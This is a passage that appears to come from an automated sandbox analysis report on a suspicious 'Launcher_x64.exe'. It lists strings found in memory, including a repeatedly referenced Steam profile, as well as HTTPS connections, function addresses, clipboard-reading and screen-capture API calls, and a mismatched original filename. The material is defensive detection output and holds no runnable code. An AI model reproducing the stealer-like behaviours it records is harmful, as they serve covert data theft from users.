Source: Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: Launcher_x64.exe, 00000003.00000003.2456444244.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433702875.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000002.2611002767.0000000001073000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2602917926.0000000001070000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2456214724.0000000001088000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2556263712.000000000103B000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2530628830.000000000103B000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2555293768.0000000001036000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2530449435.0000000001036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: Launcher_x64.exe, 00000003.00000002.2610718575.0000000000FE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: Launcher_x64.exe, 00000003.00000002.2610718575.0000000000FE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900.
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433702875.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433824621.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433702875.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: Launcher_x64.exe, 00000003.00000003.2456444244.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433702875.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2456214724.0000000001088000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: Launcher_x64.exe, 00000003.00000003.2458317534.0000000003651000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: Launcher_x64.exe, 00000003.00000003.2502902887.000000000371B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Launcher_x64.exe, 00000003.00000003.2502902887.000000000371B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Launcher_x64.exe, 00000003.00000003.2458400920.0000000003648000.00000004.00000800.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2480922810.0000000003648000.00000004.00000800.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2458317534.000000000364F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: Launcher_x64.exe, 00000003.00000003.2458400920.0000000003623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: Launcher_x64.exe, 00000003.00000003.2458400920.0000000003648000.00000004.00000800.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2480922810.0000000003648000.00000004.00000800.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2458317534.000000000364F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: Launcher_x64.exe, 00000003.00000003.2458400920.0000000003623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: Launcher_x64.exe, 00000003.00000003.2457482484.000000000363C000.00000004.00000800.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2457582897.000000000363A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: Launcher_x64.exe, 00000003.00000003.2457482484.000000000363C000.00000004.00000800.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2457582897.000000000363A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: Launcher_x64.exe, 00000003.00000003.2502902887.000000000371B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: Launcher_x64.exe, 00000003.00000003.2502902887.000000000371B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: Launcher_x64.exe, 00000003.00000003.2502902887.000000000371B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Launcher_x64.exe, 00000003.00000003.2502902887.000000000371B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Launcher_x64.exe, 00000003.00000003.2502902887.000000000371B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49807 version: TLS 1.2

Source: C:\Users\user\Desktop\Launcher_x64.exe

Code function: 3_2_00432580 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

3_2_00432580

Source: C:\Users\user\Desktop\Launcher_x64.exe

Code function: 3_2_00432580 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

3_2_00432580

Source: C:\Users\user\Desktop\Launcher_x64.exe

Code function: 3_2_00432740 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

3_2_00432740

Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 0_2_00D1C040	0_2_00D1C040
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 0_2_00D01000	0_2_00D01000
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 0_2_00D16194	0_2_00D16194
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 0_2_00D21250	0_2_00D21250
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 0_2_00D2EB72	0_2_00D2EB72
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 0_2_00D1AC41	0_2_00D1AC41
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 0_2_00D2CD97	0_2_00D2CD97
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 2_2_00D1C040	2_2_00D1C040
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 2_2_00D01000	2_2_00D01000
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 2_2_00D16194	2_2_00D16194
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 2_2_00D21250	2_2_00D21250
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 2_2_00D2EB72	2_2_00D2EB72
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 2_2_00D1AC41	2_2_00D1AC41
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 2_2_00D2CD97	2_2_00D2CD97
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0043A8D0	3_2_0043A8D0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0043E950	3_2_0043E950
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0042C911	3_2_0042C911
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00426A70	3_2_00426A70
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00423220	3_2_00423220
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00437A30	3_2_00437A30
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_004162C4	3_2_004162C4
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0040AB70	3_2_0040AB70
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0040DCB9	3_2_0040DCB9
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0040CDE7	3_2_0040CDE7
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0043EDA0	3_2_0043EDA0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00437720	3_2_00437720
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0043F780	3_2_0043F780
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0042D78A	3_2_0042D78A
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0042B801	3_2_0042B801
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0041D0F0	3_2_0041D0F0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00436888	3_2_00436888
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0043F090	3_2_0043F090
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00428950	3_2_00428950
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00423960	3_2_00423960
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00425170	3_2_00425170
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0042E106	3_2_0042E106
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00403910	3_2_00403910
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00405910	3_2_00405910
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00419930	3_2_00419930
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00419132	3_2_00419132
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0042E1EA	3_2_0042E1EA
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0043B1F0	3_2_0043B1F0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0042799C	3_2_0042799C
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_004281AC	3_2_004281AC
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_004371B0	3_2_004371B0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0042E246	3_2_0042E246
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0041524C	3_2_0041524C
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00417270	3_2_00417270
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00406200	3_2_00406200
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00426200	3_2_00426200
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00425210	3_2_00425210
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00409220	3_2_00409220
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0042A22E	3_2_0042A22E
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0042E234	3_2_0042E234
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_004042C0	3_2_004042C0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0043DAD2	3_2_0043DAD2
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0041FAD2	3_2_0041FAD2
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0043EAF0	3_2_0043EAF0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0041CA9B	3_2_0041CA9B
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00432350	3_2_00432350
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00408B10	3_2_00408B10
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00418B2E	3_2_00418B2E
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0043DB30	3_2_0043DB30
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00435BC6	3_2_00435BC6
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0041D3E0	3_2_0041D3E0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_004383F0	3_2_004383F0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00421B80	3_2_00421B80
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00424B80	3_2_00424B80
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00419132	3_2_00419132
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00407470	3_2_00407470
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00438C70	3_2_00438C70
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0043DC70	3_2_0043DC70
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00410C79	3_2_00410C79
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0043F410	3_2_0043F410
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0041AC20	3_2_0041AC20
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00427C86	3_2_00427C86
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0042C4A0	3_2_0042C4A0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00428D40	3_2_00428D40
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00428555	3_2_00428555
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0042C510	3_2_0042C510
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0041DD20	3_2_0041DD20
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0043ADC0	3_2_0043ADC0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_004145E1	3_2_004145E1
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00413DE0	3_2_00413DE0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_004205E0	3_2_004205E0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_004225EF	3_2_004225EF
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0043558A	3_2_0043558A
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0041F592	3_2_0041F592
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0043DDA0	3_2_0043DDA0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0042E5B9	3_2_0042E5B9
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0041C640	3_2_0041C640
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0042965D	3_2_0042965D
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00418E73	3_2_00418E73
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00438E07	3_2_00438E07
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_004162C4	3_2_004162C4
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0040A6C0	3_2_0040A6C0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00426EE0	3_2_00426EE0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00402EF0	3_2_00402EF0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_004306F0	3_2_004306F0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00438680	3_2_00438680
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00406690	3_2_00406690
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00436F50	3_2_00436F50
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00426F00	3_2_00426F00
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0042AF10	3_2_0042AF10
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0041BF20	3_2_0041BF20
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00421F20	3_2_00421F20
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00423F28	3_2_00423F28
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00445F39	3_2_00445F39
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_004117C0	3_2_004117C0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0041D7E0	3_2_0041D7E0

Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: String function: 00413DD0 appears 66 times
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: String function: 00D166A0 appears 100 times
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: String function: 00D241C4 appears 34 times
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: String function: 00D1F55E appears 42 times
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: String function: 00407EC0 appears 55 times

Source: Launcher_x64.exe, 00000000.00000000.1721196116.0000000000D91000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameRpcPing.exej% vs Launcher_x64.exe
Source: Launcher_x64.exe, 00000000.00000002.1731377519.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRpcPing.exej% vs Launcher_x64.exe
Source: Launcher_x64.exe, 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameRpcPing.exej% vs Launcher_x64.exe
Source: Launcher_x64.exe, 00000003.00000000.1729614724.0000000000D91000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameRpcPing.exej% vs Launcher_x64.exe
Source: Launcher_x64.exe, 00000003.00000003.1729885980.0000000002894000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRpcPing.exej% vs Launcher_x64.exe
Source: Launcher_x64.exe	Binary or memory string: OriginalFilenameRpcPing.exej% vs Launcher_x64.exe

Source: Launcher_x64.exe

